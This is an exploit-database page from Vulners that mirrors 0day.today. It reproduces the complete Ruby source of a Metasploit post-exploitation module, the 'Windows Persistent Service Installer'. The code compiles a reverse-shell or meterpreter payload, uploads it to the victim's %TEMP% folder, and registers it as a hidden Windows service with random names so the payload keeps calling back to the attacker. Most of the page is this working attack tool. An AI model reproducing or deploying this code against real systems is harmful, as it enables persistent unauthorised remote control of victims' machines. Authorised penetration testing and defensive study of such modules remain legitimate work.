Lucene search
K

Windows Persistent Service Installer Exploit

🗓️ 17 Dec 2018 00:00:00Reported by Green-mType 
zdt
 zdt
🔗 0day.today👁 43 Views

Module generates and uploads executable to remote host, making it persistent as a service. Admin or system privilege is required

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'metasploit/framework/compiler/windows'

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::Common
  include Msf::Post::File
  include Msf::Post::Windows::Priv

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Windows Persistent Service Installer',
      'Description'   => %q{
        This Module will generate and upload an executable to a remote host, next will make it a persistent service.
        It will create a new service which will start the payload whenever the service is running. Admin or system
        privilege is required.
      },
      'License'       => MSF_LICENSE,
      'Author'        => [ 'Green-m <greenm.xxoo[at]gmail.com>' ],
      'Platform'      => [ 'windows' ],
      'Targets'       => [['Windows', {}]],
      'SessionTypes'  => [ 'meterpreter', 'shell'],
      'DefaultTarget'        => 0,
      'References'           => [
        [ 'URL', 'https://github.com/rapid7/metasploit-framework/blob/master/external/source/metsvc/src/metsvc.cpp' ]
      ],
      'DisclosureDate'=> "Oct 20 2018"
    ))

    register_options(
      [
        OptInt.new('RETRY_TIME',   [false, 'The retry time that shell connect failed. 5 seconds as default.', 5 ]),
        OptString.new('REMOTE_EXE_PATH', [false, 'The remote victim exe path to run. Use temp directory as default. ']),
        OptString.new('REMOTE_EXE_NAME', [false, 'The remote victim name. Random string as default.']),
        OptString.new('SERVICE_NAME',   [false, 'The name of service. Random string as default.' ]),
        OptString.new('SERVICE_DESCRIPTION',   [false, 'The description of service. Random string as default.' ])
     ])
  end

  # Run Method for when run command is issued
  #-------------------------------------------------------------------------------
  def exploit
    unless is_system? || is_admin?
      print_error("Insufficient privileges to create service")
      return
    end

    unless datastore['PAYLOAD'] =~ %r#^windows/(shell|meterpreter)/reverse#
      print_error("Only support for windows meterpreter/shell reverse staged payload")
      return
    end

    print_status("Running module against #{sysinfo['Computer']}")

    # Set variables
    rexepath              = datastore['REMOTE_EXE_PATH']
    @retry_time           = datastore['RETRY_TIME']
    rexename              = datastore['REMOTE_EXE_NAME']     || Rex::Text.rand_text_alpha(4..8)
    @service_name         = datastore['SERVICE_NAME']        || Rex::Text.rand_text_alpha(4..8)
    @service_description  = datastore['SERVICE_DESCRIPTION'] || Rex::Text.rand_text_alpha(8..16)

    # Add the windows pe suffix to rexename
    unless rexename.end_with?('.exe')
      rexename << ".exe"
    end

    host, _port = session.tunnel_peer.split(':')
    @clean_up_rc = ""

    buf = create_payload
    vprint_status(buf)
    metsvc_code = metsvc_template(buf)
    bin = Metasploit::Framework::Compiler::Windows.compile_c(metsvc_code)

    victim_path = write_exe_to_target(bin, rexename, rexepath)
    install_service(victim_path)

    clean_rc = log_file
    file_local_write(clean_rc, @clean_up_rc)
    print_status("Cleanup Meterpreter RC File: #{clean_rc}")

    report_note(host: host,
        type: "host.persistance.cleanup",
        data: {
          local_id: session.sid,
          stype: session.type,
          desc: session.info,
          platform: session.platform,
          via_payload: session.via_payload,
          via_exploit: session.via_exploit,
          created_at: Time.now.utc,
          commands: @clean_up_rc
        })
  end

  def create_payload
    p = payload.encoded
    Msf::Simple::Buffer.transform(p, 'c', 'buf')
  end

  # Function for writing executable to target host
  # Code from post/windows/manage/persistence_exe
  #
  def write_exe_to_target(rexe, rexename, rexepath)
    # check if we have write permission
    if rexepath
      begin
        temprexe = rexepath + "\\" + rexename
        write_file_to_target(temprexe,rexe)
      rescue Rex::Post::Meterpreter::RequestError
        print_warning("Insufficient privileges to write in #{rexepath}, writing to %TEMP%")
        temprexe = session.fs.file.expand_path("%TEMP%") + "\\" + rexename
        write_file_to_target(temprexe,rexe)
      end

    # Write to %temp% directory if not set REMOTE_EXE_PATH
    else
      temprexe = session.fs.file.expand_path("%TEMP%") + "\\" + rexename
      write_file_to_target(temprexe,rexe)
    end

    print_good("Meterpreter service exe written to #{temprexe}")

    @clean_up_rc << "execute -H -i -f taskkill.exe -a \"/f /im #{rexename}\"\n" # Use interact to wait until the task ended.
    @clean_up_rc << "rm \"#{temprexe.gsub("\\", "\\\\\\\\")}\"\n"

    temprexe
  end

  def write_file_to_target(temprexe,rexe)
    fd = session.fs.file.new(temprexe, "wb")
    fd.write(rexe)
    fd.close
  end

  # Function for creating log folder and returning log path
  #-------------------------------------------------------------------------------
  def log_file
    # Get hostname
    host = session.sys.config.sysinfo["Computer"]

    # Create Filename info to be appended to downloaded files
    filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")

    # Create a directory for the logs
    logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo))

    # Create the log directory
    ::FileUtils.mkdir_p(logs)

    logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc"
  end

  # Function to install payload as a service
  #-------------------------------------------------------------------------------
  def install_service(path)
    print_status("Creating service #{@service_name}")

    begin
      session.sys.process.execute("cmd.exe /c \"#{path}\" #{@install_cmd}", nil, {'Hidden' => true})
    rescue ::Exception => e
      print_error("Failed to install the service.")
      print_error(e.to_s)
    end

    @clean_up_rc = "execute -H -f sc.exe -a \"delete #{@service_name}\"\n" + @clean_up_rc
    @clean_up_rc = "execute -H -f sc.exe -a \"stop #{@service_name}\"\n"   + @clean_up_rc
  end

  def metsvc_template(buf)
    @install_cmd = Rex::Text.rand_text_alpha(4..8)
    @start_cmd   = Rex::Text.rand_text_alpha(4..8)
    template = File.read(File.join(Msf::Config.data_directory, 'exploits', 'persistence_service', 'service.erb'))
    ERB.new(template).result(binding)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation